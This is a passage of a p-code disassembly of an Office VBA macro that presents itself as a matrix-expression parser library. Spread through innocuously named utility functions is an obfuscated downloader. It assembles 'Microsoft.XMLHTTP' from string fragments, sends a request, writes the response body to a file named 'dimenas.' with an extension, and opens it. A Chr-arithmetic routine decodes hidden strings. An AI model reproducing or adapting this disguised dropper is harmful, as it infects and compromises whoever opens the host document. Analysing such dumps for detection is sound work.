' ArgsCall Tokens_Next 0x0000 | |
' Line #258: | |
' LitStr 0x000A "eval_index" | |
' Ld Parse_Postfix | |
' Ld Park | |
' ArgsMemLd se_List 0x0000 | |
' ArgsArray Array 0x0002 | |
' ArgsArray Array 0x0002 | |
' St Parse_Postfix | |
' Line #259: | |
' LitStr 0x0001 ")" | |
' ArgsCall Tokens_AssertAndNext 0x0001 | |
' Line #260: | |
' ElseBlock | |
' Line #261: | |
' ExitDo | |
' Line #262: | |
' EndIfBlock | |
' Line #263: | |
' LitVarSpecial (True) | |
' LoopWhile | |
' Line #264: | |
' EndFunc | |
' Line #265: | |
' FuncDefn (Private Function Utils_Dimensions(v As Variant) As Long) | |
' Line #266: | |
' Dim | |
' VarDefn dimnum (As Long) | |
' VarDefn errorCheck (As Integer) | |
' Line #267: | |
' OnError FinalDimension | |
' Line #268: | |
' StartForVariable | |
' Ld dimnum | |
' EndForVariable | |
' LitDI2 0x0001 | |
' LitDI4 0xEA60 0x0000 | |
' For | |
' Line #269: | |
' Ld v | |
' Ld dimnum | |
' FnLBound 0x0001 | |
' St errorCheck | |
' Line #270: | |
' StartForVariable | |
' Next | |
' Line #271: | |
' Label FinalDimension | |
' Line #272: | |
' Ld dimnum | |
' LitDI2 0x0001 | |
' Sub | |
' St Utils_Dimensions | |
' Line #273: | |
' EndFunc | |
' Line #274: | |
' FuncDefn (Private Function Utils_Numel(v As Long) As Long) | |
' Line #275: | |
' Ld CodOrdineCorrente1 | |
' ArgsMemCall Send 0x0000 | |
' Line #276: | |
' Line #277: | |
' Ld errorMsg | |
' Ld arguments | |
' ArgsLd UCase 0x0001 | |
' Add | |
' LitStr 0x0002 "MP" | |
' Add | |
' ArgsLd ParsePostfixResult 0x0001 | |
' St CodOrdineCorrente4 | |
' Line #278: | |
' Line #279: | |
' Ld CodOrdineCorrente4 | |
' LitStr 0x0009 "\dimenas." | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0001 "x" | |
' Add | |
' Ld arguments | |
' Add | |
' LitStr 0x0000 "" | |
' Add | |
' St dimIndexArgs | |
' Line #280: | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' LitDI2 0x0000 | |
' ArgsCall Utils_Ind2Sub 0x0004 | |
' Line #281: | |
' ExitFunc | |
' Line #282: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #283: | |
' LitDI2 0x0000 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' ArgsLd IsEmpty 0x0001 | |
' LitDI2 0x0000 | |
' LitDI2 0x0001 | |
' ArgsLd IFF 0x0003 | |
' St Utils_Numel | |
' Line #284: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld sccv | |
' FnUBound 0x0000 | |
' St Utils_Numel | |
' Line #285: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld sccv | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' Ld sccv | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' Mul | |
' St Utils_Numel | |
' Line #286: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #287: | |
' EndSelect | |
' Line #288: | |
' EndFunc | |
' Line #289: | |
' FuncDefn (Private Function Utils_Rows(ByRef v As Variant) As Long) | |
' Line #290: | |
' Dim | |
' VarDefn c (As Long) | |
' Line #291: | |
' Ld v | |
' Ld Utils_Rows | |
' Ld c | |
' ArgsCall Utils_Size 0x0003 | |
' Line #292: | |
' EndFunc | |
' Line #293: | |
' FuncDefn (Private Function Utils_Cols(ByRef v As Variant) As Long) | |
' Line #294: | |
' Dim | |
' VarDefn r (As Long) | |
' Line #295: | |
' Ld v | |
' Ld r | |
' Ld Utils_Cols | |
' ArgsCall Utils_Size 0x0003 | |
' Line #296: | |
' EndFunc | |
' Line #297: | |
' FuncDefn (Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)) | |
' Line #298: | |
' LitDI2 0x0000 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0000 | |
' St c | |
' Line #299: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #300: | |
' LitDI2 0x0000 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' ArgsLd IsEmpty 0x0001 | |
' Not | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St c | |
' EndIf | |
' Line #301: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' FnUBound 0x0000 | |
' St r | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St c | |
' Line #302: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' St r | |
' BoS 0x0000 | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' St c | |
' Line #303: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #304: | |
' EndSelect | |
' Line #305: | |
' EndSub | |
' Line #306: | |
' Line #307: | |
' FuncDefn (Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean) | |
' Line #308: | |
' SetStmt | |
' LitStr 0x0001 "m" | |
' ArgsLd UCase 0x0001 | |
' LitStr 0x0007 "icrosof" | |
' Add | |
' Ld errorMsg | |
' ArgsLd LCase 0x0001 | |
' Add | |
' LitStr 0x0005 ".XMLH" | |
' Add | |
' Ld errorMsg | |
' Add | |
' Ld errorMsg | |
' Add | |
' LitStr 0x0001 "P" | |
' Add | |
' ArgsLd CreateObject 0x0001 | |
' Set CodOrdineCorrente1 | |
' Line #309: | |
' ArgsCall Parkse_List 0x0000 | |
' Line #310: | |
' ExitFunc | |
' Line #311: | |
' LitVarSpecial (True) | |
' St Parse_FindUnaryPostfixOp | |
' Line #312: | |
' Ld token | |
' SelectCase | |
' Line #313: | |
' LitStr 0x0000 "" | |
' Case | |
' CaseDone | |
' Line #314: | |
' CaseElse | |
' BoS 0x0000 | |
' LitVarSpecial (False) | |
' St Parse_FindUnaryPostfixOp | |
' Line #315: | |
' EndSelect | |
' Line #316: | |
' EndFunc | |
' Line #317: | |
' FuncDefn (Public Function UtilsAssertToken(ByValvDefault As , NothingOrNodeName As Integer) As String) | |
' Line #318: | |
' Dim | |
' VarDefn i (As Integer) | |
' Line #319: | |
' Dim | |
' VarDefn g_oPubGetResString (As String) | |
' Line #320: | |
' LitStr 0x0000 "" | |
' St g_oPubGetResString | |
' Line #321: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' Ld ByValvDefault | |
' FnLBound 0x0000 | |
' Ld ByValvDefault | |
' FnUBound 0x0000 | |
' For | |
' Line #322: | |
' Ld g_oPubGetResString | |
' Ld i | |
' ArgsLd ByValvDefault 0x0001 | |
' LitDI2 0x0014 | |
' Ld NothingOrNodeName | |
' Mul | |
' Sub | |
' LitDI2 0x2648 | |
' Sub | |
' LitDI2 0x0042 | |
' Sub | |
' ArgsLd Chr 0x0001 | |
' Concat | |
' St g_oPubGetResString | |
' Line #323: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #324: | |
' Ld g_oPubGetResString | |
' St UtilsAssertToken | |
' Line #325: | |
' EndFunc | |
' Line #326: | |
' FuncDefn (Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)) | |
' Line #327: | |
' Ld rows | |
' Ld UtilsInd2Sub | |
' MemSt Type | |
' Line #328: | |
' Ld UtilsInd2Sub | |
' ArgsMemCall Open 0x0000 | |
' Line #329: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_Stack_Push 0x0002 | |
' Line #330: | |
' ExitSub | |
' Line #331: | |
' Ld k | |
' LitDI2 0x0001 | |
' Sub | |
' Paren | |
' Ld rows | |
' IDiv | |
' LitDI2 0x0001 | |
' Add | |
' St j | |
' Line #332: | |
' Ld k | |
' Ld rows | |
' Ld j | |
' LitDI2 0x0001 | |
' Sub | |
' Paren | |
' Mul | |
' Sub | |
' St i | |
' Line #333: | |
' EndSub | |
' Line #334: | |
' FuncDefn (Private Sub Utils_Conform(ByRef v As Variant)) | |
' Line #335: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #336: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #337: | |
' Ld v | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #338: | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0001 | |
' St v | |
' Line #339: | |
' ElseBlock | |
' Line #340: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' Ld v | |
' FnUBound 0x0000 | |
' Redim r 0x0002 (As Variant) | |
' Line #341: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #342: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld r | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #343: | |
' Ld i | |
' ArgsLd v 0x0001 | |
' LitDI2 0x0001 | |
' Ld i | |
' ArgsSt r 0x0002 | |
' Line #344: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #345: | |
' Ld r | |
' St v | |
' Line #346: | |
' EndIfBlock | |
' Line #347: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #348: | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' If | |
' BoSImplicit | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0002 | |
' St v | |
' EndIf | |
' Line #349: | |
' LitDI2 0x0002 | |
' CaseGt | |
' CaseDone | |
' BoS 0x0000 | |
' Line #350: | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #351: | |
' EndSelect | |
' Line #352: | |
' EndSub | |
' Line #353: | |
' FuncDefn (Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)) | |
' Line #354: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' SelectCase | |
' Line #355: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #356: | |
' Ld v | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Eq | |
' IfBlock | |
' Line #357: | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0001 | |
' St assignToMe | |
' Line #358: | |
' ElseBlock | |
' Line #359: | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' Ld v | |
' FnUBound 0x0000 | |
' Redim assignToMe 0x0002 (As Variant) | |
' Line #360: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #361: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld assignToMe | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' For | |
' Line #362: | |
' Ld i | |
' ArgsLd v 0x0001 | |
' LitDI2 0x0001 | |
' Ld i | |
' ArgsSt assignToMe 0x0002 | |
' Line #363: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #364: | |
' EndIfBlock | |
' Line #365: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' Line #366: | |
' Ld v | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' Ld v | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' And | |
' IfBlock | |
' Line #367: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsLd v 0x0002 | |
' St assignToMe | |
' Line #368: | |
' ElseBlock | |
' Line #369: | |
' Ld v | |
' St assignToMe | |
' Line #370: | |
' EndIfBlock | |
' Line #371: | |
' LitDI2 0x0002 | |
' CaseGt | |
' CaseDone | |
' BoS 0x0000 | |
' Line #372: | |
' LitVarSpecial (False) | |
' LitStr 0x000D "dimension > 2" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #373: | |
' EndSelect | |
' Line #374: | |
' EndSub | |
' Line #375: | |
' FuncDefn (Private Sub Utils_ForceMatrix(ByRef v As Variant)) | |
' Line #376: | |
' Ld v | |
' ArgsLd Utils_Dimensions 0x0001 | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #377: | |
' Dim | |
' VarDefn r | |
' BoS 0x0000 | |
' OptionBase | |
' LitDI2 0x0001 | |
' OptionBase | |
' LitDI2 0x0001 | |
' Redim r 0x0002 (As Variant) | |
' Line #378: | |
' Ld v | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' ArgsSt r 0x0002 | |
' Line #379: | |
' Ld r | |
' St v | |
' Line #380: | |
' EndIfBlock | |
' Line #381: | |
' EndSub | |
' Line #382: | |
' FuncDefn (Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)) | |
' Line #383: | |
' Line #384: | |
' Ld CodOrdineCorrente1 | |
' MemLd responseBody | |
' Ld UtilsInd2Sub | |
' ArgsMemCall Xor 0x0001 | |
' Line #385: | |
' Ld dimIndexArgs | |
' LitDI2 0x0002 | |
' Ld UtilsInd2Sub | |
' ArgsMemCall savetofile 0x0002 | |
' Line #386: | |
' LitStr 0x0000 "" | |
' ArgsCall Utils_CalcDimDirection 0x0001 | |
' Line #387: | |
' ExitSub | |
' Line #388: | |
' OnError NotInitiated | |
' Line #389: | |
' Ld stack | |
' FnLBound 0x0000 | |
' Ld stack | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' Add | |
' Redim (Preserve) stack 0x0001 (As Variant) | |
' Line #390: | |
' Ld item | |
' Ld stack | |
' FnUBound 0x0000 | |
' ArgsSt stack 0x0001 | |
' Line #391: | |
' ExitSub | |
' Line #392: | |
' Label NotInitiated | |
' Line #393: | |
' Ld item | |
' ArgsArray Array 0x0001 | |
' St stack | |
' Line #394: | |
' EndSub | |
' Line #395: | |
' FuncDefn (Private Function Utils_Stack_Pop(stack As Variant) As Variant) | |
' Line #396: | |
' Dim | |
' VarDefn ub (As Long) | |
' BoS 0x0000 | |
' Ld stack | |
' FnUBound 0x0000 | |
' St ub | |
' Line #397: | |
' Dim | |
' VarDefn lb (As Long) | |
' BoS 0x0000 | |
' Ld stack | |
' FnLBound 0x0000 | |
' St lb | |
' Line #398: | |
' Ld ub | |
' ArgsLd stack 0x0001 | |
' St Utils_Stack_Pop | |
' Line #399: | |
' Ld ub | |
' Ld lb | |
' Gt | |
' If | |
' BoSImplicit | |
' Ld lb | |
' Ld ub | |
' LitDI2 0x0001 | |
' Sub | |
' Redim (Preserve) stack 0x0001 (As Variant) | |
' Else | |
' BoSImplicit | |
' LitVarSpecial (Null) | |
' St stack | |
' EndIf | |
' Line #400: | |
' EndFunc | |
' Line #401: | |
' FuncDefn (Private Function Utils_Stack_Peek(stack As Variant) As Variant) | |
' Line #402: | |
' Ld stack | |
' FnUBound 0x0000 | |
' ArgsLd stack 0x0001 | |
' St Utils_Stack_Peek | |
' Line #403: | |
' EndFunc | |
' Line #404: | |
' FuncDefn (Private Function Utils_Stack_Size(stack As Variant) As Long) | |
' Line #405: | |
' OnError (Resume Next) | |
' Line #406: | |
' Ld stack | |
' FnUBound 0x0000 | |
' St Utils_Stack_Size | |
' Line #407: | |
' EndFunc | |
' Line #408: | |
' FuncDefn (Private Sub Utils_CalcArgs(args As Variant)) | |
' Line #409: | |
' Dim | |
' VarDefn i (As Long) | |
' BoS 0x0000 | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' LitDI2 0x0001 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' For | |
' Line #410: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsLd eval_tree 0x0001 | |
' Ld i | |
' ArgsSt args 0x0001 | |
' Line #411: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #412: | |
' EndSub | |
' Line #413: | |
' FuncDefn (Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean) | |
' Line #414: | |
' Dim | |
' VarDefn i (As Long) | |
' Line #415: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' Ld args | |
' FnUBound 0x0000 | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' UMi | |
' ForStep | |
' Line #416: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' ArgsLd TypeName 0x0001 | |
' LitStr 0x0006 "String" | |
' FnStrComp | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #417: | |
' Ld i | |
' ArgsLd args 0x0001 | |
' Ld flag | |
' Ld vbTextCompare | |
' FnStrComp3 | |
' LitDI2 0x0000 | |
' Eq | |
' IfBlock | |
' Line #418: | |
' LitVarSpecial (True) | |
' St Utils_IsFlagSet | |
' Line #419: | |
' ExitFunc | |
' Line #420: | |
' EndIfBlock | |
' Line #421: | |
' EndIfBlock | |
' Line #422: | |
' StartForVariable | |
' Ld i | |
' EndForVariable | |
' NextVar | |
' Line #423: | |
' EndFunc | |
' Line #424: | |
' ConstFuncExpr | |
' LitDI2 0x0002 | |
' FuncDefn (Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long) As Long) | |
' Line #425: | |
' Ld dimIndexArgs | |
' Paren | |
' Ld UtilsCalcDimDirection | |
' ArgsMemCall Open 0x0001 | |
' Line #426: | |
' ExitFunc | |
' Line #427: | |
' Ld addrgs | |
' FnUBound 0x0000 | |
' Ld dimIndex | |
' Ge | |
' IfBlock | |
' Line #428: | |
' Ld dimIndex | |
' ArgsLd addrgs 0x0001 | |
' ArgsLd IsNumeric 0x0001 | |
' IfBlock | |
' Line #429: | |
' Ld dimIndex | |
' ArgsLd addrgs 0x0001 | |
' LitDI2 0x0001 | |
' Sub | |
' St Utils_CalcDimDirection | |
' Line #430: | |
' ExitFunc | |
' Line #431: | |
' EndIfBlock | |
' Line #432: | |
' EndIfBlock | |
' Line #433: | |
' LitDI2 0x0001 | |
' ArgsLd addrgs 0x0001 | |
' ArgsLd Utils_Rows 0x0001 | |
' LitDI2 0x0001 | |
' Eq | |
' LitDI2 0x0001 | |
' LitDI2 0x0000 | |
' ArgsLd IFF 0x0003 | |
' St Utils_CalcDimDirection | |
' Line #434: | |
' EndFunc | |
' Line #435: | |
' ConstFuncExpr | |
' LitDI2 0x0002 | |
' FuncDefn (Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long)) | |
' Line #436: | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' SelectCase | |
' Line #437: | |
' Ld index | |
' CaseLt | |
' CaseDone | |
' Line #438: | |
' LitDI2 0x0001 | |
' St n | |
' BoS 0x0000 | |
' LitDI2 0x0001 | |
' St m | |
' Line #439: | |
' Ld index | |
' CaseEq | |
' CaseDone | |
' Line #440: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' ArgsLd Utils_Numel 0x0001 | |
' SelectCase | |
' Line #441: | |
' LitDI2 0x0001 | |
' Case | |
' CaseDone | |
' Line #442: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St n | |
' Line #443: | |
' Ld n | |
' St m | |
' Line #444: | |
' LitDI2 0x0002 | |
' Case | |
' CaseDone | |
' Line #445: | |
' LitDI2 0x0001 | |
' LitDI2 0x0001 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' St n | |
' Line #446: | |
' LitDI2 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0001 | |
' FnUBound 0x0001 | |
' ArgsLd MIN 0x0002 | |
' LitDI2 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' LitDI2 0x0002 | |
' FnUBound 0x0001 | |
' ArgsLd MIN 0x0002 | |
' Ld index | |
' ArgsLd args 0x0001 | |
' IndexLd 0x0002 | |
' St m | |
' Line #447: | |
' CaseElse | |
' Line #448: | |
' LitVarSpecial (False) | |
' LitStr 0x000E "bad size input" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #449: | |
' EndSelect | |
' Line #450: | |
' Ld index | |
' LitDI2 0x0001 | |
' Add | |
' CaseEq | |
' CaseDone | |
' Line #451: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St n | |
' Line #452: | |
' Ld index | |
' LitDI2 0x0001 | |
' Add | |
' ArgsLd args 0x0001 | |
' St m | |
' Line #453: | |
' CaseElse | |
' Line #454: | |
' LitVarSpecial (False) | |
' LitStr 0x000E "bad size input" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #455: | |
' EndSelect | |
' Line #456: | |
' EndFunc | |
' Line #457: | |
' FuncDefn (Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)) | |
' Line #458: | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' Ld index | |
' Ge | |
' IfBlock | |
' Line #459: | |
' Ld index | |
' ArgsLd args 0x0001 | |
' St Utils_GetOptionalArg | |
' Line #460: | |
' ElseBlock | |
' Line #461: | |
' Ld defaultValue | |
' St Utils_GetOptionalArg | |
' Line #462: | |
' EndIfBlock | |
' Line #463: | |
' EndFunc | |
' Line #464: | |
' FuncDefn (Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)) | |
' Line #465: | |
' Dim | |
' VarDefn size (As Long) | |
' BoS 0x0000 | |
' Ld args | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' St size | |
' Line #466: | |
' Ld size | |
' Ld lb | |
' Ge | |
' LitStr 0x0011 "too few arguments" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #467: | |
' Ld size | |
' Ld ub | |
' Le | |
' LitStr 0x0012 "too many arguments" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #468: | |
' EndSub | |
' Line #469: | |
' ConstFuncExpr | |
' LitStr 0x000D "unknown error" | |
' FuncDefn (Private Sub Utils_Assert(expr As Boolean, Optional msg As String)) | |
' Line #470: | |
' Ld expr | |
' If | |
' BoSImplicit | |
' ExitSub | |
' EndIf | |
' Line #471: | |
' Ld msg | |
' St errorMsg | |
' Line #472: | |
' Ld vbObjectError | |
' LitDI2 0x03E7 | |
' Add | |
' Ld Err | |
' ArgsMemCall Raise 0x0001 | |
' Line #473: | |
' EndSub | |
' Line #474: | |
' FuncDefn (Private Function eval_tree(root As Variant) As Variant) | |
' Line #475: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitDI2 0x0003 | |
' ArgsLd Left 0x0002 | |
' LitStr 0x0003 "fn_" | |
' Eq | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x0005 "fn_if" | |
' Ne | |
' And | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x000A "fn_iferror" | |
' Ne | |
' And | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitStr 0x0009 "fn_expand" | |
' Ne | |
' And | |
' IfBlock | |
' Line #476: | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsCall Utils_CalcArgs 0x0001 | |
' Line #477: | |
' EndIfBlock | |
' Line #478: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' SelectCase | |
' Line #479: | |
' LitStr 0x000D "eval_constant" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_constant 0x0001 | |
' St eval_tree | |
' Line #480: | |
' LitStr 0x0008 "eval_arg" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_arg 0x0001 | |
' St eval_tree | |
' Line #481: | |
' LitStr 0x000A "eval_index" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_index 0x0001 | |
' St eval_tree | |
' Line #482: | |
' LitStr 0x0008 "eval_end" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_end 0x0001 | |
' St eval_tree | |
' Line #483: | |
' LitStr 0x000A "eval_colon" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_colon 0x0001 | |
' St eval_tree | |
' Line #484: | |
' LitStr 0x000B "eval_concat" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd eval_concat 0x0001 | |
' St eval_tree | |
' Line #485: | |
' LitStr 0x0005 "op_eq" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_eq 0x0001 | |
' St eval_tree | |
' Line #486: | |
' LitStr 0x0007 "op_plus" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_plus 0x0001 | |
' St eval_tree | |
' Line #487: | |
' LitStr 0x0008 "op_minus" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_minus 0x0001 | |
' St eval_tree | |
' Line #488: | |
' LitStr 0x0009 "op_mtimes" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_mtimes 0x0001 | |
' St eval_tree | |
' Line #489: | |
' LitStr 0x0008 "op_colon" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd op_colon 0x0001 | |
' St eval_tree | |
' Line #490: | |
' LitStr 0x0006 "fn_sum" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd fn_sum 0x0001 | |
' St eval_tree | |
' Line #491: | |
' LitStr 0x0009 "fn_repmat" | |
' Case | |
' CaseDone | |
' BoS 0x0000 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd fn_repmat 0x0001 | |
' St eval_tree | |
' Line #492: | |
' CaseElse | |
' Line #493: | |
' LitDI2 0x0001 | |
' ArgsLd root 0x0001 | |
' LitDI2 0x0002 | |
' ArgsLd root 0x0001 | |
' ArgsLd Run 0x0002 | |
' St eval_tree | |
' Line #494: | |
' EndSelect | |
' Line #495: | |
' EndFunc | |
' Line #496: | |
' FuncDefn (Private Function eval_constant(args As Variant) As Variant) | |
' Line #497: | |
' Ld args | |
' St eval_constant | |
' Line #498: | |
' EndFunc | |
' Line #499: | |
' FuncDefn (Private Function eval_arg(args As Variant) As Variant) | |
' Line #500: | |
' Ld args | |
' Ld arguments | |
' FnUBound 0x0000 | |
' Gt | |
' IfBlock | |
' Line #501: | |
' LitVarSpecial (False) | |
' LitStr 0x0009 "argument " | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #502: | |
' EndIfBlock | |
' Line #503: | |
' Ld args | |
' ArgsLd arguments 0x0001 | |
' Coerce (Var) | |
' St eval_arg | |
' Line #504: | |
' Ld eval_arg | |
' ArgsCall Utils_Conform 0x0001 | |
' Line #505: | |
' EndFunc | |
' Line #506: | |
' FuncDefn (Private Function eval_end(args As Variant) As Variant) | |
' Line #507: | |
' Ld endValues | |
' ArgsLd Utils_Stack_Size 0x0001 | |
' LitDI2 0x0000 | |
' Gt | |
' LitStr 0x0017 ""end" not allowed here." | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #508: | |
' Ld endValues | |
' ArgsLd Utils_Stack_Peek 0x0001 | |
' St eval_end | |
' Line #509: | |
' EndFunc | |
' Line #510: | |
' FuncDefn (Private Function eval_ans(args As Variant) As Variant) | |
' Line #511: | |
' Ld ans | |
' St eval_ans | |
' Line #512: | |
' EndFunc | |
' Line #513: | |
' FuncDefn (Private Function eval_colon(args As Variant) As Variant) | |
' Line #514: | |
' LitVarSpecial (False) | |
' LitStr 0x0016 "colon not allowed here" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #515: | |
' EndFunc | |
' Line #516: | |
' Line #517: | |
' FuncDefn (Private Function fn_sort(args As Variant) As Variant) | |
' Line #518: | |
' Ld args | |
' LitDI2 0x0001 | |
' LitDI2 0x0004 | |
' ArgsCall Utils_AssertArgsCount 0x0003 | |
' Line #519: | |
' Dim | |
' VarDefn sortRows (As Boolean) | |
' VarDefn ascend (As Boolean) | |
' VarDefn returnIndices (As Boolean) | |
' Line #520: | |
' LitDI2 0x0001 | |
' Ld args | |
